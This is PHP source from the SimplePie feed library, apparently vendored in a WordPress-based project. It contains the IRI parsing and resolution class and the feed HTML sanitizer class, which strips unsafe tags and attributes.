. get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } else { return $return; } } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { if (method_exists($this, 'get_' . $name) || isset($this->$name)) { return true; } else { return false; } } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), ''); } } /** * Create a new IRI object, from a specified string * * @param string $iri */ public function __construct($iri = null) { $this->set_iri($iri); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param IRI|string $base (Absolute) Base IRI * @param IRI|string $relative Relative IRI * @return IRI|false */ public static function absolutize($base, $relative) { if (!($relative instanceof SimplePie_IRI)) { $relative = new SimplePie_IRI($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } else { if (!($base instanceof SimplePie_IRI)) { $base = new SimplePie_IRI($base); } if ($base->scheme !== null && $base->is_valid()) { if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new SimplePie_IRI; $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } else { return false; } } } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match)) { if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } else { // This can occur when a paragraph is accidentally parsed as a URI return false; } } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', strrpos($output, '/')); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', strrpos($output, '/')); } // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $string Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $string); // Replace invalid percent characters $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($string); while (($position += strspn($string, $extra_chars, $position)) < $strlen) { $value = ord($string[$position]); // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($string[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) $position--; for ($j = $start; $j <= $position; $j++) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $string; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= ($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; $j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($this->ipath !== '' && ( $isauthority && ( $this->ipath[0] !== '/' || substr($this->ipath, 0, 2) === '//' ) || ( $this->scheme === null && !$isauthority && strpos($this->ipath, ':') !== false && (strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/')) ) ) ) { return false; } return true; } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ public function set_iri($iri) { static $cache; if (!$cache) { $cache = array(); } if ($iri === null) { return true; } elseif (isset($cache[$iri])) { list($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return) = $cache[$iri]; return $return; } else { $parsed = $this->parse_iri((string) $iri); if (!$parsed) { return false; } $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = array($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return); return $return; } } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ public function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ public function set_authority($authority) { static $cache; if (!$cache) $cache = array(); if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } elseif (isset($cache[$authority])) { list($this->iuserinfo, $this->ihost, $this->port, $return) = $cache[$authority]; return $return; } else { $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false) { if (($port = substr($remaining, $port_start + 1)) === false) { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = array($this->iuserinfo, $this->ihost, $this->port, $return); return $return; } } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ public function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ public function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (SimplePie_Net_IPv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . SimplePie_Net_IPv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ public function set_port($port) { if ($port === null) { $this->port = null; return true; } elseif (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } else { $this->port = null; return false; } } /** * Set the ipath. * * @param string $ipath * @return bool */ public function set_path($ipath) { static $cache; if (!$cache) { $cache = array(); } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = array($valid, $removed); $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ public function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ public function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @return string */ public function to_uri($string) { static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($string); while (($position += strcspn($string, $non_ascii, $position)) < $strlen) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1); $position += 3; $strlen += 2; } return $string; } /** * Get the complete IRI * * @return string */ public function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } if ($this->ipath !== '') { $iri .= $this->ipath; } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') { $iri .= $this->normalization[$this->scheme]['ipath']; } if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ public function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string */ protected function get_iauthority() { if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) { $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null) { $iauthority .= ':' . $this->port; } return $iauthority; } else { return null; } } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) return $this->to_uri($iauthority); else return $iauthority; } }
zyblog
trunk/zyblog/wp-includes/SimplePie/IRI.php
PHP
asf20
28,359
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for data cleanup and post-processing * * * This class can be overloaded with {@see SimplePie::set_sanitize_class()} * * @package SimplePie * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags */ class SimplePie_Sanitize { // Private vars var $base; // Options var $remove_div = true; var $image_handler = ''; var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'); var $encode_instead_of_strip = false; var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'); var $strip_comments = false; var $output_encoding = 'UTF-8'; var $enable_cache = true; var $cache_location = './cache'; var $cache_name_function = 'md5'; var $timeout = 10; var $useragent = ''; var $force_fsockopen = false; var $replace_url_attributes = null; public function __construct() { // Set defaults $this->set_url_replacements(null); } public function remove_div($enable = true) { $this->remove_div = (bool) $enable; } public function set_image_handler($page = false) { if ($page) { $this->image_handler = (string) $page; } else { $this->image_handler = false; } } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache') { if (isset($enable_cache)) { $this->enable_cache = (bool) $enable_cache; } if ($cache_location) { $this->cache_location = (string) $cache_location; } if ($cache_name_function) { $this->cache_name_function = (string) $cache_name_function; } } public function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false) { if ($timeout) { $this->timeout = (string) $timeout; } if ($useragent) { $this->useragent = (string) $useragent; } if ($force_fsockopen) { $this->force_fsockopen = (string) $force_fsockopen; } } public function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style')) { if ($tags) { if (is_array($tags)) { $this->strip_htmltags = $tags; } else { $this->strip_htmltags = explode(',', $tags); } } else { $this->strip_htmltags = false; } } public function encode_instead_of_strip($encode = false) { $this->encode_instead_of_strip = (bool) $encode; } public function strip_attributes($attribs = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc')) { if ($attribs) { if (is_array($attribs)) { $this->strip_attributes = $attribs; } else { $this->strip_attributes = explode(',', $attribs); } } else { $this->strip_attributes = false; } } public function strip_comments($strip = false) { $this->strip_comments = (bool) $strip; } public function set_output_encoding($encoding = 'UTF-8') { $this->output_encoding = (string) $encoding; } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite, * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite, * |q|@cite * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { if ($element_attribute === null) { $element_attribute = array( 'a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array( 'longdesc', 'src' ), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite' ); } $this->replace_url_attributes = (array) $element_attribute; } public function sanitize($data, $type, $base = '') { $data = trim($data); if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI) { if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML) { if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data)) { $type |= SIMPLEPIE_CONSTRUCT_HTML; } else { $type |= SIMPLEPIE_CONSTRUCT_TEXT; } } if ($type & SIMPLEPIE_CONSTRUCT_BASE64) { $data = base64_decode($data); } if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML)) { if (!class_exists('DOMDocument')) { $this->registry->call('Misc', 'error', array('DOMDocument not found, unable to use sanitizer', E_USER_WARNING, __FILE__, __LINE__)); return ''; } $document = new DOMDocument(); $document->encoding = 'UTF-8'; $data = $this->preprocess($data, $type); set_error_handler(array('SimplePie_Misc', 'silence_errors')); $document->loadHTML($data); restore_error_handler(); // Strip comments if ($this->strip_comments) { $xpath = new DOMXPath($document); $comments = $xpath->query('//comment()'); foreach ($comments as $comment) { $comment->parentNode->removeChild($comment); } } // Strip out HTML tags and attributes that might cause various security problems. // Based on recommendations by Mark Pilgrim at: // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely if ($this->strip_htmltags) { foreach ($this->strip_htmltags as $tag) { $this->strip_tag($tag, $document, $type); } } if ($this->strip_attributes) { foreach ($this->strip_attributes as $attrib) { $this->strip_attr($attrib, $document); } } // Replace relative URLs $this->base = $base; foreach ($this->replace_url_attributes as $element => $attributes) { $this->replace_urls($document, $element, $attributes); } // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags. if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) { $images = $document->getElementsByTagName('img'); foreach ($images as $img) { if ($img->hasAttribute('src')) { $image_url = call_user_func($this->cache_name_function, $img->getAttribute('src')); $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, $image_url, 'spi')); if ($cache->load()) { $img->setAttribute('src', $this->image_handler . $image_url); } else { $file = $this->registry->create('File', array($img['attribs']['src']['data'], $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen)); $headers = $file->headers; if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { if ($cache->save(array('headers' => $file->headers, 'body' => $file->body))) { $img->setAttribute('src', $this->image_handler . $image_url); } else { trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } } } } } } // Remove the DOCTYPE // Seems to cause segfaulting if we don't do this if ($document->firstChild instanceof DOMDocumentType) { $document->removeChild($document->firstChild); } // Move everything from the body to the root $real_body = $document->getElementsByTagName('body')->item(0)->childNodes->item(0); $document->replaceChild($real_body, $document->firstChild); // Finally, convert to a HTML string $data = trim($document->saveHTML()); if ($this->remove_div) { $data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data); $data = preg_replace('/<\/div>$/', '', $data); } else { $data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data); } } if ($type & SIMPLEPIE_CONSTRUCT_IRI) { $absolute = $this->registry->call('Misc', 'absolutize_url', array($data, $base)); if ($absolute !== false) { $data = $absolute; } } if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI)) { $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8'); } if ($this->output_encoding !== 'UTF-8') { $data = $this->registry->call('Misc', 'change_encoding', array($data, 'UTF-8', $this->output_encoding)); } } return $data; } protected function preprocess($html, $type) { $ret = ''; if ($type & ~SIMPLEPIE_CONSTRUCT_XHTML) { // Atom XHTML constructs are wrapped with a div by default // Note: No protection if $html contains a stray </div>! $html = '<div>' . $html . '</div>'; $ret .= '<!DOCTYPE html>'; $content_type = 'text/html'; } else { $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'; $content_type = 'application/xhtml+xml'; } $ret .= '<html><head>'; $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />'; $ret .= '</head><body>' . $html . '</body></html>'; return $ret; } public function replace_urls($document, $tag, $attributes) { if (!is_array($attributes)) { $attributes = array($attributes); } if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($attributes as $attribute) { if ($element->hasAttribute($attribute)) { $value = $this->registry->call('Misc', 'absolutize_url', array($element->getAttribute($attribute), $this->base)); if ($value !== false) { $element->setAttribute($attribute, $value); } } } } } } public function do_strip_htmltags($match) { if ($this->encode_instead_of_strip) { if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) { $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8'); $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8'); return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;"; } else { return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8'); } } elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) { return $match[4]; } else { return ''; } } protected function strip_tag($tag, $document, $type) { $xpath = new DOMXPath($document); $elements = $xpath->query('body//' . $tag); if ($this->encode_instead_of_strip) { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); // For elements which aren't script or style, include the tag itself if (!in_array($tag, array('script', 'style'))) { $text = '<' . $tag; if ($element->hasAttributes()) { $attrs = array(); foreach ($element->attributes as $name => $attr) { $value = $attr->value; // In XHTML, empty values should never exist, so we repeat the value if (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_XHTML)) { $value = $name; } // For HTML, empty is fine elseif (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_HTML)) { $attrs[] = $name; continue; } // Standard attribute text $attrs[] = $name . '="' . $attr->value . '"'; } $text .= ' ' . implode(' ', $attrs); } $text .= '>'; $fragment->appendChild(new DOMText($text)); } $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } if (!in_array($tag, array('script', 'style'))) { $fragment->appendChild(new DOMText('</' . $tag . '>')); } $element->parentNode->replaceChild($fragment, $element); } return; } elseif (in_array($tag, array('script', 'style'))) { foreach ($elements as $element) { $element->parentNode->removeChild($element); } return; } else { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } $element->parentNode->replaceChild($fragment, $element); } } } protected function strip_attr($attrib, $document) { $xpath = new DOMXPath($document); $elements = $xpath->query('//*[@' . $attrib . ']'); foreach ($elements as $element) { $element->removeAttribute($attrib); } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Sanitize.php
PHP
asf20
15,703
